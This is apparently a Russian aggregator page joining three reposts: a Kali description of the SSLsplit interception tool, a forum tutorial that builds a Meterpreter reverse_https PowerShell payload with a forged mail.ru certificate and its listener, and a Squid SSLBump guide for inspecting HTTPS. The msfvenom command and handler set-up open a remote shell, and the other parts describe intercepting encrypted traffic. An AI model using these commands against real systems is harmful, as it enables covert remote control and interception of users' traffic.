Меню Рубрики

Подмена ssl сертификата kali linux

Инструменты Kali Linux

Список инструментов для тестирования на проникновение и их описание

SSLsplit

Описание SSLsplit

SSLsplit — это инструмент для атаки человек-посередине против сетевых подключений, зашифрованных SSL/TLS. Соединения прозрачно перехватываются через движок трансляции адресов и перенаправляются на SSLsplit. SSLsplit прекращает SSL/TLS и инициализирует новые SSL/TLS подключения на первоначальный адрес назначения, при этом записывая все передаваемые данные. SSLsplit предназначена быть полезной для сетевых криминалистов и тестеров на проникновение.

SSLsplit поддерживает простой TCP, простой SSL, HTTP и HTTPS подключения через IPv4 и IPv6. Для SSL и HTTPS подключений SSLsplit генерирует и подписывает на лету сфабрикованные X509v3 сертификаты, основанные на оригинальных объектах сервера DN и расширении subjectAltName. SSLsplit полностью поддерживает Server Name Indication (SNI) и способна работать с ключами RSA, DSA и ECDSA и наборами шифров DHE и ECDHE. В зависимости от версии OpenSSL, SSLsplit поддерживает SSL 3.0, TLS 1.0, TLS 1.1 и TLS 1.2, а также опционально SSL 2.0. SSLsplit также может использовать существующие сертификаты для которых доступны частные ключе, вместо того, чтобы генерировать поддельные. SSLsplit поддерживает NULL-префикс CN сертификаты и может отклонять OCSP запросы обычным образом. Для HTTP и HTTPS подключений SSLsplit удаляет заголовки ответов для HPKP, чтобы предотвратить пиннинг публичного ключа, для HSTS, позволяет пользователям принимать ненадёжные сертификаты, и Alternate Protocols для предотвращения переключения на QUIC/SPDY. В качестве экспериментальной возможности, SSLsplit поддерживает механизм STARTTLS в общем виде.

Автор: Daniel Roethlisberger

Справка по SSLsplit

Leaf certificate (листовой сертификат) — первый сертификат в цепочке сертификатов.

Руководство по SSLsplit

sslsplit — прозрачный перехват SSL/TLS

СИНОПСИС

ОПИСАНИЕ

[В ПРОЦЕССЕ ПОДГОТОВКИ]

Примеры запуска SSLsplit

Запуск в отладочном режиме (-D), вести лог подключений (-l connections.log), установить chroot jail (-j /tmp/sslsplit/), сохранить файлы на диск (-S /tmp/), указать ключ (-k ca.key), указать сертификат (-c ca.crt), указать ssl (ssl) и настроить прокси (0.0.0.0 8443 tcp 0.0.0.0 8080):

Установка SSLsplit

Программа предустановлена в Kali Linux.

Установка в BlackArch

Программа предустановлена в BlackArch.

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты SSLsplit

Это утилита командной строки.

Инструкции по SSLsplit

Ссылки на инструкции будут добавлены позже.

Источник

Статья Шифруем соединение или SSL сертификат в работе.

kot-gor

Всем привет. Сегодня я покажу как можно с помощью подручных средств в кали линукс, создать защищенный канал между полезной нагрузкой и листенером.

На нашем форуме уже освещалась данная тематика, где Vander делал подробный обзор про замечательный инструмент Meterpreter Paranoid Mode.

Сегодня я покажу альтернативный способ, создания ssl соединения, только с помощью метасплойта. Мы рассмотрим:

  • создания поддельного сертификата
  • создадим полезную нагрузку PowerShell где будем использовать сертификат который сгенерировали ранее.
  • Создания и настройка листенера для работы с нашей полезной нагрузкой.

Для создания поддельного сертификата мы будем использовать модуль из метасплойта

Я буду генерировать сертификат mail.ru

Запускаем метасплойт пишем:

По итогу как мы видим у нас создалось три файла.

Не плохой срок действия..)

Сейчас давайте создадим полезную нагрузку с нашим сгенерированным сертификатом.

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.108 LPORT=4444 PayloadUUIDTracking=true HandlerSSLCert=/root/

StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o 4444.bat

Далее создаём листенер который позволит нам принять данные с нашей полезной нагрузки для этого нам нужно добавить 2 две строчки, а именно:

set HandlerSSLCert /root/

(путь где файл сертификата)

set StagerVerifySSLCert true

полностью это будет выглядеть следующим образом.

use multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.0.108
set LPORT 4444
set HandlerSSLCert /root/

set StagerVerifySSLCert true
exploit -j

Так как у меня белый IP через роутер ,листенер на картинке будет немного отличаться.

По итогу получаем заветную сессию с проверкой сертификата SSL

Источник

Squid3 с SSLBump (подмена сертификатов)

Шифрованный веб-трафик вещь хорошая, но порой совершенно не ясно что пользователь там, внутри, делает. При заходе на любой https ресурс через squid, в логи записывается достаточно строк подобного вида:

1330231066.104 10 172.26.27.8 TCP_MISS/200 390 CONNECT mail.google.com:443 — HIER_DIRECT/173.194.32.54 —
1330241192.883 9 172.26.27.97 TCP_MISS/200 390 CONNECT mc.yandex.ru:443 — HIER_DIRECT/213.180.193.119 —

Видно, что в определённое время пользователи зашли на gmail и яндекс. В принципе вот и всё что мы видим из логов. Но не понятно выполнялся ли GET или POST запрос, не видно полных урлов, ни размеров файлов. Так же нет возможности проверить ssl трафик антивирусной программой либо какими content inspection программами.

В этой статье я хочу описать возможность squid’а «разламывать» ssl соединение и иметь хоть какой-то обзор происходящего в https трафике.

Так как на CentOS стоит «усиленный» openssl, то сборка squid’а c необходимыми нам ключам не получается.
Есть два варианта решения данной проблемы.
Первый — это лезть в инклюд файлы установленного openssl, потом в исходники сквида и менять некоторые строки. И второй — это собирать сквид с кастомным openssl.

Первый вариант слишком хардкорный и оставим его в стороне.

1. openssl

Итак, для начала нам надо собрать свой openssl. Тут всё довольно просто и никакой магии:

wget www.openssl.org/source/openssl-1.0.0k.tar.gz
tar -zxf openssl-1.0.0k.tar.gz
cd openssl-1.0.0k

Что бы не было конфликтов с уже установленной версией openssl, указываем новый путь:

./config shared –prefix=/opt/squid/openssl –openssldir=/opt/squid/openssl
make
make install
Всё, openssl собран и готов к использованию.

2. squid

Сборка прокси сервера аналогична сборке любой программы (configure && make && make install), единственное это указание определённых ключей при компиляции:

wget www.squid-cache.org/Versions/v3/3.2/squid-3.2.7.tar.gz
tar -zxf squid-3.2.7.tar.gz
cd squid-3.2.7
./configure –prefix=/opt/squid –enable-ssl –enable-ssl-crtd –with-openssl=/opt/squid/openssl

—enable-ssl — включает поддержку ssl режима
—enable-ssl-crtd — генерацией сертификатов занимается отдельный процесс, а не сам прокси сервер.
—with-openssl — путь куда был установлен кастомный openssl

make all
make install
Так, squid прокси сервер собран.

3. Генерируем self-signed сертификат

Сертификат будет использоваться прокси сервером для создания динамических сертификатов веб сайтов.

cd /opt/squid/etc/
openssl req -new -newkey rsa:1024 -days 365 -nodes -x509 -keyout squidCA.pem -out squidCA.pem

Так как файл squidCA.pem содержит приватный ключ, делаем его читаемым только для пользователя root:
chmod 400 squidCA.pem

4.Настраиваем squid

Добавим следующие строки в squid.conf файл

данную настройку нежелательно использовать в продукционной системе, так как доступ разрешён на все https сайты с любыми сертификатами.

Подготавливаем кэширование сертификатов:
mkdir /opt/squid/var/lib
/opt/squid/libexec/ssl_crtd -c -s /opt/squid/var/lib/ssl_db
chown -R nobody /opt/squid/var/lib/ssl_db
Если у вас в настройке cache_effective_user стоит другое UID, то вместо nobody следует использовать его.

Стоит заметить, что если по какой-то причине вы поменяли ваш сертификат для squid’а, то надо полностью очистить каталог /opt/squid/var/lib/ssl_db и заново инициализировать сертификатную базу данных.

Выставляем необходимые права, инициализируем и запускаем прокси сервер:
chown -R nobody /opt/squid/var/logs
/opt/squid/sbin/squid -z
/opt/squid/sbin/squid
проверяем файл /opt/squid/var/logs/cache.log на наличие ошибок, если ошибок нет и имеется строка « Accepting SSL bumped HTTP Socket connections at local=[::]:3128 remote=[::] FD 21 flags=9 «, то прокси сервер в режиме SSLBump запущен.

5. пользовательские проблемы

Так как в данном случае мы используем self-signed сертификат, любые посещения https сайтов через прокси будут показывать пользователям ошибку сертификата. Причина ошибки — Issuer нашего сертификата не находится в списке Trusted CA в браузере.
Что бы ошибок не было, выполняем следующее действие.

openssl x509 -in squidCA.pem -outform DER -out squid.der

Теперь полученный файл squid.der надо импортировать в клиентский браузер.
Для Internet Explorer:
Tools->Internet Options->Content->Certificates
Выбираем закладку «Trusted Root Certificate Authorities»
Жмём Import, выбираем файл squid.der и завершаем импорт.

Для Firefox:
Tools->Options->Advanced->Encryption->View Certificates
Выбираем закладку «Authorities»
Жмём Import, выбираем файл squid.der и завершаем импорт.

Ну вот в общем то всё. В зависимости от ваших фантазий, теперь у вас есть возможность в https трафике запретить делать POST запросы, скачивать большие файлы, закрыть доступ к определённым файлам/папкам. Так же можно запретить доступ на сайты, сертификаты которых выданы не доверенными CA. Ну и возможность проверять на вирусы.

Источник

Популярные записи


Adblock
detector